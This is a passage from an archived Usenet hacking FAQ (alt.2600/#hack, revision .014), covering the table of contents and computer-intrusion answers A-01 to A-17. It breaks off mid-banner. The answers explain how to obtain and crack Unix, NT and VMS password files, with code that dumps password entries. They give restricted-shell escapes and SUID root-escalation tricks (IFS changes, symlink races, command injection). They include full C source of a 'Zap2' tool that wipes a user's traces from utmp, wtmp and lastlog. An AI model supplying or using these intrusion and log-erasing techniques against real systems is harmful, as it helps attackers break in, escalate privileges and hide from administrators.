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Subject: alt.2600 FAQ Revision .014 (1/4)

This article was archived around: Sun, 16 Jul 2006 12:02:03 GMT

All FAQs in Directory: alt-2600/faq
All FAQs posted in: alt.2600
Source: Usenet Version

Archive-Name: alt-2600/faq/part1 Posting-Frequency: Random Last-Modified: 2000/05/29 Version: .014
[Note: I just post this stuff. I didn't write it. Please DO NOT reply to this post quoting its entirety! Downloading costs many people real money. H.] -- [Further: There are other regularly posted files which you might care to read. Namely: "The alt.2600 Survival Guide" (for new posters), "How To Hack - Info for Newbies" and Visigoth's "Newbies: Links to Hacking (and other) Information .." (both of which contain information that may also be valuable to more experienced people), "Read this for CRACKS, WARES & XXX PASSWORDS" expands on the information regarding cracks and software in VisiGoth's text. "Free News Servers" and VisiGoth's "HowTo: Makeshift Linux Network @ Home .." also contain information that may be of interest. I attempt to post all of these texts about twice per week. IMPORTANT NOTE: The "Survival Guide" is a supplement to this FAQ and should be considered to be part of it. Violations of the etiquette outlined therein are severely frowned upon by the alt.2600 regulars. H.] Welcome to Version .014 of the alt.2600/#hack FAQ! The purpose of this FAQ is to give you a general introduction to the topics covered in alt.2600 and #hack. No document will make you a hacker. If you have a question regarding any of the topics covered in the FAQ, please direct it to alt.2600. Please do not e-mail me your questions; I do not have time to respond to each request personally. If your copy of the alt.2600/#hack FAQ does not end with the letters EOT on a line by themselves, you do not have the entire FAQ. If you do not have the entire FAQ, retrieve it from one of these sites: Get it on FTP at: rtfm.mit.edu /pub/usenet-by-group/alt.2600 mirrors.aol.com /pub/rtfm/usenet-by-group/alt.2600/ Get it on the World Wide Web at: http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.tar.gz http://www.attrition.org/~voyager/faq.html http://inflow.corky.net/hack =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= The alt.2600/#Hack F.A.Q. Revision .014 A TNO Communications Production by Voyager voyager@attrition.org Greets go out to: TNO, L.O.D., The Guild, r00t, L0pht Heavy Industries, TACD, PLA. Cavalier, Disorder, Major, ThePublic, A-Flat, Aleph1, Alhambra, Bogus Technician, Frosty, Glen Roberts, Harlequin, Hobbit, Kgee, Lizzie Borden, Loq, Mad Poo Bandit, Marauder, Mudge, Mustard, Outsider, Pill, Plexor, Presence, Rage, Rogue Agent, Route, Simple Nomad, Theora, Tomes, Vidiot, Wozz and all of the other happy zanies out there on the 'net. When I picture a perfect reader, I always picture a monster of courage and curiosity, also something supple, cunning, cautious, a born adventurer and discoverer... -- Friedrich Nietzsche =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Section A: Computers U A-01. How do I access the password file under Unix? U A-02. How do I crack Unix passwords? A-03. What is password shadowing? U A-04. Where can I find the password file if it's shadowed? A-05. What is NIS/yp? U A-06. What are those weird characters after the comma in my passwd file? N A-07. How do I access the password file under Windows NT? N A-08. How do I crack Windows NT passwords? U A-09. How do I access the password file under VMS? A-10. How do I crack VMS passwords? A-11. What can be logged on a VMS system? A-12. What privileges are available on a VMS system? U A-13. How do I break out of a restrictive shell? A-14. How do I gain root from a suid script or program? A-15. How do I erase my presence from the system logs? A-16. How do I change to directories with strange characters in them? A-17. What is this system? U A-18. What are the default accounts for XXX ? A-19. What is a trojan/worm/virus/logic bomb? A-20. How can I protect myself from viruses and such? A-21. Where can I get more information about viruses? A-22. What is Cryptoxxxxxxx? A-23. What is PGP? A-24. What is Tempest? U A-25. How do I defeat copy protection? N A-26. What are some available debuggers and disassemblers? U A-27. How do I defeat a BIOS password? A-28. What is the password for <encrypted file>? U A-29. Is there any hope of a decompiler that would convert an executable program into C/C++ code? A-30. How does the MS-Windows password encryption work? Section B: Data Networks U B-01. How do I send fakemail? B-02. How do I fake posts and control messages to Usenet? B-03. How do I hack ChanOp on IRC? B-04. How do I modify the IRC client to hide my real username? U B-05. What is sniffing? B-06. What is an Internet Outdial? U B-07. What are some Internet Outdials? B-08. What port is XXX on? B-09. What is an anonymous remailer? U B-10. What are the addresses of some anonymous remailers? B-11. What is B-12. How do I post to a moderated newsgroup? B-13. How do I post to Usenet via e-mail? N B-14. What is a firewall? N B-15. How do I attack a remote network across the Internet? N B-16. What is a TCP sequence prediction attack? Section C: Telephony U C-01. What is a Red Box? U C-02. How do I build a Red Box? C-03. Where can I get a 6.5536Mhz crystal? C-04. Which payphones will a Red Box work on? U C-05. How do I make local calls with a Red Box? C-06. What is a Blue Box? C-07. Do Blue Boxes still work? C-08. What is a Black Box? C-09. What do all the colored boxes do? U C-10. What is an ANAC number? U C-11. What is the ANAC number for my area? U C-12. What is a ringback number? U C-13. What is the ringback number for my area? C-14. What is a loop? U C-15. What is a loop in my area? U C-16. What is a CNA number? U C-17. What is the telephone company CNA number for my area? U C-18. What are some numbers that always ring busy? U C-19. What are some numbers that temporarily disconnect phone service? C-20. What is a Proctor Test Set? C-21. What is a Proctor Test Set in my area? U C-22. What is scanning? C-23. Is scanning illegal? N C-24. How can I make a lineman's handset? C-25. Where can I purchase a lineman's handset? U C-26. What are the DTMF frequencies? U C-27. What are the frequencies of the telephone tones? N C-28. What is the voltage used to ring a telephone? U C-29. What are all of the * (LASS) codes? C-30. What frequencies do cordless phones operate on? C-31. What is Caller-ID? C-32. How do I block Caller-ID? N C-33. How do I defeat Caller-ID blocking? U C-34. What is a PBX? C-35. What is a VMB? C-36. What are the ABCD tones for? C-37. What are the International Direct Numbers? N C-38. What are some telephone switches? Section D: Cellular Telephony D-01. What is a MTSO? D-02. What is a NAM? D-03. What is an ESN? D-04. What is a MIN? D-05. What is a SCN? U D-06. What is a SIDH? D-07. What are the forward/reverse channels? Section E: Resources U E-01. What are some ftp sites of interest to hackers? E-02. What are some fsp sites of interest to hackers? U E-03. What are some newsgroups of interest to hackers? E-04. What are some telnet sites of interest to hackers? E-05. What are some gopher sites of interest to hackers? U E-06. What are some World wide Web (WWW) sites of interest to hackers? E-07. What are some IRC channels of interest to hackers? E-08. What are some BBS's of interest to hackers? U E-09. What are some books of interest to hackers? U E-10. What are some videos of interest to hackers? U E-11. What are some mailing lists of interest to hackers? E-12. What are some print magazines of interest to hackers? E-13. What are some e-zines of interest to hackers? E-14. What are some organizations of interest to hackers? E-15. What are some radio programs of interest to hackers? U E-16. What are other FAQ's of interest to hackers? N E-17. What are some conferences of interest to hackers? N E-18. What are some telephone numbers of interest to hackers? U E-19. Where can I purchase a magnetic stripe reader/writer? U E-20. What are the rainbow books and how can I get them? Section F: 2600 F-01. What is alt.2600? [ F-01a. Where is the alt.2600 Web site? H.] F-02. What does "2600" mean? F-03. Are there on-line versions of 2600 available? F-04. I can't find 2600 at any bookstores. What can I do? U F-05. Why does 2600 cost more to subscribe to than to buy at a newsstand? Section G: Miscellaneous G-01. What does XXX stand for? U G-02. How do I determine if I have a valid credit card number? U G-03. What is the layout of data on magnetic stripe cards? N G-04. What is pirate radio? G-05. What are the ethics of hacking? N G-06. Why did you write this FAQ? G-07. Where can I get a copy of the alt.2600/#hack FAQ? U == Updated since the last release of the alt.2600/#hack FAQ N == New since the last release of the alt.2600/#hack FAQ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-= Section A -- Computers =-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= A-01. How do I access the password file under Unix? In standard Unix the password file is /etc/passwd. On a Unix system with either NIS/yp or password shadowing, much of the password data may be elsewhere. An entry in the password file consists of seven colon delimited fields: Username Encrypted password (And optional password aging data) User number Group Number GECOS Information Home directory Shell ] ] Sample entry from /etc/passwd: ] ] voyager:5fg63fhD3d5gh:9406:12:The Voyager:/home/voyager:/bin/bash ] Broken down, this passwd file line shows: Username: voyager Encrypted password: 5fg63fhD3d5gh User number: 9406 Group Number: 12 GECOS Information: The Voyager Home directory: /home/voyager Shell: /bin/bash --------------------------------------------------------------------------- A-02. How do I crack Unix passwords? Contrary to popular belief, Unix passwords cannot be decrypted. Unix passwords are encrypted with a one way function. The login program accepts the text you enter at the "Password:" prompt and then runs it through a cryptographic algorithm. The results of that algorithm are then compared against the encrypted form of your password stored in the passwd file. On a more technical level, the password that you enter is used as a key to encrypt a 64-bit block of NULLs. The first seven bits of each character are extracted to form a 56-bit key. This means that only eight characters are significant in a standard Unix password. The E- table is then modified using the salt, which is a 12-bit value, coerced into the first two chars of the stored passwd. The salt's purpose is to make precompiled passwordd lists and DES hardware chips more time consuming to use. DES is then invoked for 25 iterations. The 64-bit output block and is then coerced into a 64-character alphabet (A-Z,a- z,".","/"). This involves translations in which several different values are represented by the same character, which is why Unix passwords cannot be decrypted. [Note from Dan Mellem: Under A-02, the FAQ lists the "64-character alphabet" as "(A-Z,a-z,'.','/')"; the password also uses 0-9 (actual order is "./0-9A-Za-z", I believe). H.] Password cracking software uses wordlists. Each word in the wordlist is encrypted using the algorithm described above and the salts from the password file. The results are then compared to the encrypted form of the target password. The best cracking program for Unix passwords is currently Crack by Alec Muffett. For PC-DOS, the best package to use is currently CrackerJack. For the Macintosh, try Killer Cracker or Mac Krack. --------------------------------------------------------------------------- A-03. What is password shadowing? Password shadowing is a security system where the encrypted password field of /etc/passwd is replaced with a special token and the encrypted password is stored in a separate file which is not readable by normal system users. On older systems, password shadowing was often defeated by using a program that made successive calls to getpwent() to obtain the entire password file. Example: #include <pwd.h> main() { struct passwd *p; while(p=getpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); } --------------------------------------------------------------------------- A-04. Where can I find the password file if it's shadowed? Unix Path Token -------------------------------------------------------------------- AIX 3 and AIX 4 /etc/security/passwd ! or /tcb/auth/files/<first letter # of username>/<username> A/UX 3.0s /tcb/files/auth/?/* BSD4.3-Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] * SCO Unix 3.2.x /tcb/auth/files/<first letter * of username>/<username> SunOS4.1+c2 /etc/security/passwd.adjunct ##username SunOS 5.0 / Solaris 2.x /etc/shadow <optional NIS+ private secure maps> System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb * [Note from jaxom: Digital UNIX v4.0x (was OSF/1, now called Tru64 UNIX) can run in C2 (ENHANCED) security mode. When this occurs, the shadow password file is in: /tcb/auth/files/<files letter of username>/<username> /var/tcb/files/auth.db These files contain an encrypted for of the password, normally using the bigcrypt() algorithm. If you want to crack these, then its probably easier to write a program looping over getprpwent() and extracting the password (prpwd->ufld.fd_encrypt), the crypt algorithm (prpwd-> ufld.fd_oldcrypt) and then use that algorithm to generate the appropriate passwords. Check a discussion on BUGTRAQ many, many moons ago about the appropriateness of this hashing algorithm and the potential weakness this has. H.] --------------------------------------------------------------------------- A-05. What is NIS/yp? NIS (Network Information System) in the current name for what was once known as yp (Yellow Pages). The purpose of NIS is to allow many machines on a network to share configuration information, including password data. NIS is not designed to promote system security. If your system uses NIS you will have a very short /etc/passwd file that includes a line that looks like this: +::0:0::: To view the real password file use this command "ypcat passwd" --------------------------------------------------------------------------- A-06. What are those weird characters after the comma in my passwd file? The characters are password aging data. Password aging forces the user to change passwords after a system administrator-specified period of time. Password aging can also force a user to keep a password for a certain number of weeks before changing it. ] ] Sample entry from /etc/passwd with password aging installed: ] ] voyager:5fg63fhD3d,M.z8:9406:12:The Voyager:/home/voyager:/bin/bash ] Note the comma in the encrypted password field. The characters after the comma are used by the password aging mechanism. ] ] Password aging characters from above example: ] ] M.z8 ] The four characters are interpreted as follows: 1: Maximum number of weeks a password can be used without changing. 2: Minimum number of weeks a password must be used before changing. 3&4: Last time password was changed, in number of weeks since 1970. Three special cases should be noted: If the first and second characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. The passwd program will then remove the passwd aging characters, and the user will not be subjected to password aging requirements again. If the third and fourth characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. Password aging will then occur as defined by the first and second characters. If the first character (MAX) is less than the second character (MIN), the user is not allowed to change his/her password. Only root can change that users password. It should also be noted that the su command does not check the password aging data. An account with an expired password can be su'd to without being forced to change the password. Password Aging Codes +------------------------------------------------------------------------+ | | | Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H | | Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | | | | Character: I J K L M N O P Q R S T U V W X Y Z a b | | Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | | | | Character: c d e f g h i j k l m n o p q r s t u v | | Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | | | | Character: w x y z | | Number: 60 61 62 63 | | | +------------------------------------------------------------------------+ --------------------------------------------------------------------------- A-07. How do I access the password file under Windows NT? Windows NT stores encrypted password hashes in the Registry. RDISK stores a compressed backup copy of the the password hashes is stored in %SystemRoot%\repair\sam._. If you can access the Registry you can use PWDump by Jeremy Allison to view this data. The PWDump utility is freely available at http://www.l0pht.com. PWDump output consists of seven colon delimited fields: Username User number Encrypted password LAN Man Password Hash Windows NT Password Hash Full Name and Description Home directory ] ] Sample passwd entry: (Split into two lines for readability) ] ] voyager:1000:30FA7B24C6108C5A8B4BCCA42D5816FF: ] B3823C82B43238D31BAF98FA4035255F:The Voyager, FAQ Author:: ] Broken down, this password entry shows: Username: voyager User number: 1000 Encrypted password: 5fg63fhD3d5gh LAN Man Password Hash: 30FA7B24C6108C5A8B4BCCA42D5816FF Windows NT Password Hash: B3823C82B43238D31BAF98FA4035255F Full Name and Description: The Voyager, FAQ Author Home directory : --------------------------------------------------------------------------- A-08. How do I crack Windows NT passwords? Windows NT passwords are encrypted with a one way function. This is similar to the way that Unix stores passwords, except that the Microsoft algorithm is significantly weaker. Windows NT password can be cracked using wordlists. This is much the same as attacking Unix passwords with word lists, except that Microsoft passwords are much easier to crack. In addition, Microsoft passwords can be brute forced. This means that every password on the system can be retrieved. The best cracking program for Windows NT passwords is currently L0phtCrack by Mudge and Weld Pond. L0phtCrack is available at http://www.l0pht.com. --------------------------------------------------------------------------- A-09. How do I access the password file under VMS? Under VMS, the password file is normally stored as SYS$SYSTEM:SYSUAF.DAT. However, unlike traditional Unixen, most users do not have access to read the password file. [Note from Dan Mellem: the system file is SYSUAF.DAT. Some administrators will move SYS$SYSTEM:SYSAUF.DAT, in an attempt to increase security through obscurity. In this case, `DIR SYSAUF` or `SHOW LOG SYSAUF` should point you to the new location of the file. H.] --------------------------------------------------------------------------- A-10. How do I crack VMS passwords? Write a program that uses the SYS$GETUAF functions to compare the results of encrypted words against the encrypted data in SYSUAF.DAT. Two such programs are known to exist, CHECK_PASSWORD and GUESS_PASSWORD. [Note from jaxom: These two can be looked at together. If you are accessing the UAF through $GETUAI (NOT $GETUAF!), depending on what privileges you hold determines what access you get: o To change ANY entry in the UAF, you need SYSPRV or BYPASS. o To modify entries in the UAF for those people in your group, you need GRPPRV. o If you do not have these privileges, no access is allowed. To check an OpenVMS password, you need to extract the password and the password salt from the UAF using $GETUAI and then create a hash based on that salt using $HASH_PASSWORD. Compare that hash with the one from the UAF to determine if the password is the same. There is a system dictionary that can be used to get words instead of supplying your own. This is stored in: SYS$LIBRARY:VMS$PASSWORD_DICTIONARY.DATA It's an indexed file, so you may have to read it in through RMS. H.] --------------------------------------------------------------------------- A-11. What can be logged on a VMS system? Virtually every aspect of the VMS system can be logged for investigation. To determine the status of the accounting on your system use the command SHOW ACCOUNTING. System accounting is a facility for recording information about the use of the machine from a system accounting perspective (resource logging such as CPU time, printer usage, etc.), while system auditing is done with the aim of logging information for the purpose of security. To enable accounting: $ SET ACCOUNTING [/ENABLE=(Activity...)] This enables accounting logging information to the accounting log file SYS$MANAGER:ACCOUNTING.DAT. This also is used to close the current log file and open a new one with a higher version number. The following activities can be logged: BATCH Termination of a batch job DETACHED Termination of a detached job IMAGE Image execution INTERACTIVE Interactive job termination LOGIN_FAILURE Login failures MESSAGE Users' messages NETWORK Network job termination PRINT Print Jobs PROCESS Any terminated process SUBPROCESS Termination of a subprocess To enable security auditing use: $ SET AUDIT [/ENABLE=(Activity...)] The /ALARM qualifier is used to raise an alarm to all terminals approved as security operators, which means that you need the SECURITY privileges. You can determine your security auditing configuration using $ SHOW AUDIT /ALL The security auditor can be configured to log the following activities: ACL Access Control List requested events AUTHORIZATION Modification to the system user authorization file SYS$SYSTEM:SYSUAF.DAT BREAKIN Attempted Break-ins FILE_ACCESS File or global section access INSTALL Occurrence of any INSTALL operations LOGFAILURE Any login failures LOGIN A login attempt from various sources LOGOUT Logouts MOUNT Mount or dismount requests [Note from jaxom: You also need to be aware of OpenVMS Auditing. This can log every single thing that you do. If the systems manager has this switched on, all objects that you touch will be logged by the system. H.] --------------------------------------------------------------------------- A-12. What privileges are available on a VMS system? ACNT Allows you to restrain accounting messages ALLSPOOL Allows you to allocate spooled devices ALTPRI Allot Priority. This allows you to set any priority value BUGCHK Allows you make bug check error log entries BYPASS Enables you to disregard protections CMEXEC/ CMKRNL Change to executive or kernel mode. These privileges allow a process to execute optional routines with KERNEL and EXECUTIVE access modes. CMKRNL is the most powerful privilege on VMS as anything protected can be accessed if you have this privilege. You must have these privileges to gain access to the kernel data structures directly. DETACH This privilege allow you to create detached processes of arbitrary UICs [Note from jaxom: This privlege has been changed to IMPERSONATE as of OpenVMS v7.0. H.] DIAGNOSE With this privilege you can diagnose devices EXQUOTA Allows you to exceed your disk quota GROUP This privilege grants you permission to affect other processes in the same rank GRPNAM Allows you to insert group logical names into the group logical names table. GRPPRV Enables you to access system group objects through system protection field LOG_IO Allows you to issue logical input/output requests MOUNT May execute the mount function NETMBX Allows you to create network connections OPER Allows you to perform operator functions PFNMAP Allows you to map to specific physical pages PHY_IO Allows you to perform physical input output requests PRMCEB Can create permanent common event clusters PRMGBL Allows you to create permanent global sections PRMMBX Allows you to create permanent mailboxes PSWAPM Allows you to change a processes swap mode READALL Allows you read access to everything SECURITY Enables you to perform security-related functions SETPRV Enable all privileges SHARE Allows you to access devices allocated to other users. This is used to assign system mailboxes. SHMEM Enables you to modify objects in shared memory SYSGBL Allows you to create system wide permanent global sections SYSLCK Allows you to lock system wide resources SYSNAM Allows you to insert in system logical names in the names table. SYSPRV If a process holds this privilege then it is the same as a process holding the system user identification code. TMPMBX Allows you to create temporary mailboxes VOLPRO Enables you to override volume protection WORLD When this is set you can affect other processes in the world [Note from Dan Mellem: ALTPRI is Alter Priority SETPRV lets you set any privilege. The FAQ's missing: AUDIT may direct audit to system security audit log DOWNGRADE may downgrade object secrecy IMPORT may set classification for unlabeled object UPGRADE may upgrade object integrity These are all found in the high-security versions of VMS. [Note from jaxom: This is potentially confusing. Only DOWNGRADE, IMPORT and UPGRADE are used on SEVMS (Security Enhanced OpenVMS -- rated B2). AUDIT is a valid permission on "standard" OpenVMS that allows the holder to audit events and append records to the system audit file. This has two parts, the audit server database, and the audit log file. These can both be found in SYS$COMMON:[SYSMGR]. The audit server database is called SYS$COMMON:[SYSMGR]VMS$AUDIT_SERVER.DAT and the audit log file is SYS$COMMON:[SYSMGR]SECURITY.AUDIT$JOURNAL. H.] Also, these privs are set under sys$system:authorize (be sure to set def to sys$system first). [Note from jaxom: This is not necessary if the logical SYSUAF is defined. To make sure it is defined correctly, check the value of SYSUAF: $ SHOW LOGICAL SYSUAF "SYSUAF" = "SYS$COMMON:[SYSEXE]SYSUAF" (LNM$SYSTEM_TABLE) Notice that its defined in LNM$SYSTEM_TABLE. You will need SYSPRV to change this value. If you want to change this definition, you will have to type: $ DEFINE /SYSTEM /EXECUTIVE SYSUAF DISK$DISK1:[DIR]SYSUAF.DAT The /EXECUTIVE is important. This makes it into a trusted logical name which is used by the OpenVMS operating system. If this isn't set as /EXECUTIVE, then OpenVMS will NOT use the new definition. If the logical name SYSUAF does not exist, then AUTHORIZE looks in the current default directory for the file. If the file does not exist, it then asks you whether or not you wish to create it. H.] Under authorize you can also set /priv and /defpr to ALL for everything or NONE for no privs. You can cancel any particular priv. by adding "no" in front of the priv (e.g. $ authorize joeblow/defpriv=nobypass). [Note from jaxom: There is a difference between /DEFPRIVILEGE and /PRIVILEGE. If a users privileges are set /DEFPRIVILEGE, those are the privileges that you have when you log in. The privileges defined through /PRIVILEGE are those marked as "authorised" in the $ SHOW PROCESS /PRIVILEGE display. Note that granting a privilege in "authorised" is NOT the same as granting a "default" privilege. You will have to use $ SET PROCESS /PRIVILEGE=foo, or replace foo with ALL. For more information on OpenVMS, look at the online OpenVMS documentation set at: http://www.openvms.digital.com:8080/ The most important documents are the OpenVMS Users Guide, the OpenVMS Guide to System Security and the Systems Managers manuals (there are two). Read the User Guide to get the basic OpenVMS concepts and then go onto the other two to find out how OpenVMS and VMSclusters work. Since Digital (now Compaq) has started the OpenVMS Hobbyist program, you can get a free copy of OpenVMS as long as you have a supported VAX or Alpha CPU and you are a member of DECUS. Check out: http://www.montagar.com/ for more details. To get a good sense of OpenVMS, check out the following: Newsgroups: comp.os.vms OpenVMS newsgroup comp.sys.dec DEC (VAX and Alpha) hardware vmsnet.* Everything to do with OpenVMS Websites: http://www.openvms.digital.com DEC's OpenVMS website http://www.levitte.com/~ava Arne Vajhoej's collection of OpenVMS resources.] H.] To determine what privileges your process is running with issue the command: $ show proc/priv --------------------------------------------------------------------------- A-13. How do I break out of a restrictive shell? A restrictive shell is a shell that has been modified to allow you to do fewer things than a normal shell would allow you to do. It may allow you to run only certain programs. It may stop you from changing directories. Many sites run their own restrictive shells to allow limited use of their systems over the Internet. Restrictive shells often make use of the restricted shell (rsh). On poorly implemented restricted shells you can break out of the restricted environment by running a program that features a shell function. A good example is vi. Run vi and use this command: :set shell=/bin/sh then shell using this command: :shell Many menu based restricted shells will allow you to configure your user environment, or to run programs that allow you to configure your user environment. Look for configuration options that refer to executable programs. If the program lets you define an editor, for example, try to set your editor to "/bin/csh -i -f" If you are not allowed to read files, try to open them inside the e- mail program. If you are not allowed to edit files, try to save that to file from the e-mail program. If your restricted shell prevents you from using the "cd" command, try to FTP into your account and change directories. FTP can aso be used to edit files by getting the file, editing it offline, and utting the net file back online. Like most hacking, trying things is often the most successful strategy. --------------------------------------------------------------------------- A-14. How do I gain root from a SUID script or program? 1. Change IFS. If the program calls any other programs using the system() function call, you may be able to fool it by changing IFS. IFS is the Internal Field Separator that the shell uses to delimit arguments. If the program contains a line that looks like this: system("/bin/date") and you change IFS to '/' the shell will them interpret the proceeding line as: bin date Now, if you have a program of your own in the path called "bin" the suid program will run your program instead of /bin/date. To change IFS, use this command: IFS='/';export IFS # Bourne Shell setenv IFS '/' # C Shell export IFS='/' # Korn Shell 2. link the script to -i Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts. Example: % ln suid.sh -i % -i # 3. Exploit a race condition Replace a symbolic link to the program with another program while the kernel is loading /bin/sh. Example: nice -19 suidprog ; ln -s evilprog suidroot 4. Send bad input to the program. Invoke the name of the program and a separate command on the same command line. Example: suidprog ; id --------------------------------------------------------------------------- A-15. How do I erase my presence from the system logs? Edit utmp (usually /etc/utmp), wtmp (usually /usr/adm/wtmp), and lastlog (usually /usr/adm/lastlog) These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose. Example: #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <sys/file.h> #include <fcntl.h> #include <utmp.h> #include <pwd.h> #include <lastlog.h> #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } --------------------------------------------------------------------------- A-16. How do I change to directories with strange characters in them? These directories are often used by people trying to hide information, most often warez (commercial software). There are several things you can do to determine what these strange characters are. One is to use the arguments to the ls command that cause ls to give you more information: From the man page for ls: -F Causes directories to be marked with a trailing ``/'', executable files to be marked with a trailing ``*'', and symbolic links to be marked with a trailing ``@'' symbol. -q Forces printing of non-graphic characters in filenames as the character ``?''. -b Forces printing of non-graphic characters in the \ddd notation, in octal. Perhaps the most useful tool is to simply do an "ls -al filename" to save the directory of the remote ftp site as a file on your local machine. Then you can do a "cat -t -v -e filename" to see exactly what those bizarre little characters are. From the man page for cat: -v Causes non-printing characters (with the exception of tabs, newlines, and form feeds) to be displayed. Control characters are displayed as ^X (<Ctrl>x), where X is the key pressed with the <Ctrl> key (for example, <Ctrl>m is displayed as ^M). The <Del> character (octal 0177) is printed as ^?. Non-ASCII characters (with the high bit set) are printed as M -x, where x is the character specified by the seven low order bits. -t Causes tabs to be printed as ^I and form feeds as ^L. This option is ignored if the -v option is not specified. -e Causes a ``$'' character to be printed at the end of each line (prior to the new-line). This option is ignored if the -v option is not set. If the directory name includes a <SPACE> or a <TAB> you will need to enclose the entire directory name in quotes. Example: cd "..<TAB>" On an IBM-PC, you may enter these special characters by holding down the <ALT> key and entering the decimal value of the special character on your numeric keypad. When you release the <ALT> key, the special character should appear on your screen. An ASCII chart can be very helpful. Sometimes people will create directories with some of the standard stty control characters in them, such as ^Z (suspend) or ^C (intr). To get into those directories, you will first need to user stty to change the control character in question to another character. From the man page for stty: Control assignments control-character C Sets control-character to C, where control-character is erase, kill, intr (interrupt), quit, eof, eol, swtch (switch), start, stop or susp. start and stop are available as possible control characters for the control-character C assignment. If C is preceded by a caret (^) (escaped from the shell), then the value used is the corresponding control character (for example, ^D is a <Ctrl>d; ^? is interpreted as DELETE and ^- is interpreted as undefined). Use the stty -a command to see your current stty settings, and to determine which one is causing you problems. --------------------------------------------------------------------------- A-17. What is this system? AIX ~~~ IBM AIX Version 3 for RISC System/6000 (C) Copyrights by IBM and by others 1982, 1990. login: [You will know an AIX system because it is the only Unix system that] [clears the screen and issues a login prompt near the bottom of the] [screen] AS/400 ~~~~~~ UserID? Password? Once in, type GO MAIN CDC Cyber ~~~~~~~~~ WELCOME TO THE NOS SOFTWARE SYSTEM. COPYRIGHT CONTROL DATA 1978, 1987. 88/02/16. 02.36.53. N265100 CSUS CYBER 170-730. NOS 2.5.2-678/3. FAMILY: You would normally just hit return at the family prompt. Next prompt is: USER NAME: CISCO Router ~~~~~~~~~~~~ FIRST BANK OF TNO 95-866 TNO VirtualBank REMOTE Router - TN043R1 Console Port SN - 00000866 TN043R1> DECserver ~~~~~~~~~ DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1 DPS502-DS700 (c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved Please type HELP if you need assistance Enter username> TNO Local> Hewlett Packard MPE-XL ~~~~~~~~~~~~~~~~~~~~~~ MPE XL: EXPECTED A :HELLO COMMAND. (CIERR 6057) MPE XL: EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424) MPE XL: GTN ~~~ WELCOME TO CITIBANK. PLEASE SIGN ON. XXXXXXXX @ PASSWORD = @ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= PLEASE ENTER YOUR ID:-1-> PLEASE ENTER YOUR PASSWORD:-2-> CITICORP (CITY NAME). KEY GHELP FOR HELP. XXX.XXX PLEASE SELECT SERVICE REQUIRED.-3-> Lantronix Terminal Server ~~~~~~~~~~~~~~~~~~~~~~~~~ Lantronix ETS16 Version V3.1/1(940623) Type HELP at the 'Local_15> ' prompt for assistance. Login password> Meridian Mail (Northern Telecom Phone/Voice Mail System) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ MMM MMMERIDIAN MMMMM MMMMM MMMMMM MMMMMM MMM MMMMM MMM MMMMM MMMMM MMM MMM MMM MMMMMM MMMMMM MMM 